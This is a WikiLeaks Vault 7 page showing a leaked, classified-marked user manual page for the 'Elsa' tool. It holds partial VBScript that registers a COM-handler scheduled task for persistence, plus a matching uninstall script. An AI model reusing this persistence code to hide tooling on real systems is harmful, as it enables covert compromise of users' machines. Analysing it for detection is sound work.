Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.
Elsa User Manual.doc
37
SECRET//NOFORN
' Create the action for the task to execute.
' Add an action to the task to run
Dim Action
Set Action = taskDefinition.Actions.Create( ActionTypeCom )
' Set the class id to the guid
Action.ClassId = "{9A01ADFB-8B6F-4E19-8334-1A17C6FB7402}"
WScript.Echo "Task definition created. About to submit the task..."
' Register (create) the task.
call rootFolder.RegisterTaskDefinition( "Test Daily Trigger", taskDefinition, 6, , , 3)
WScript.Echo "Task submitted."
' This will delete the task named "Test Daily Trigger"
'Set objShell = WScript.CreateObject("WScript.Shell")
'objShell.Run ("schtasks /delete /f /tn ""Test Daily Trigger"""), 0, false
Figure 29 - (S) Task Scheduler Install Script
' This will delete the task named "Test Daily Trigger"
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run ("schtasks /delete /f /tn ""Test Daily Trigger"""), 0, false
Figure 30 - (S) Task Scheduler Uninstall Script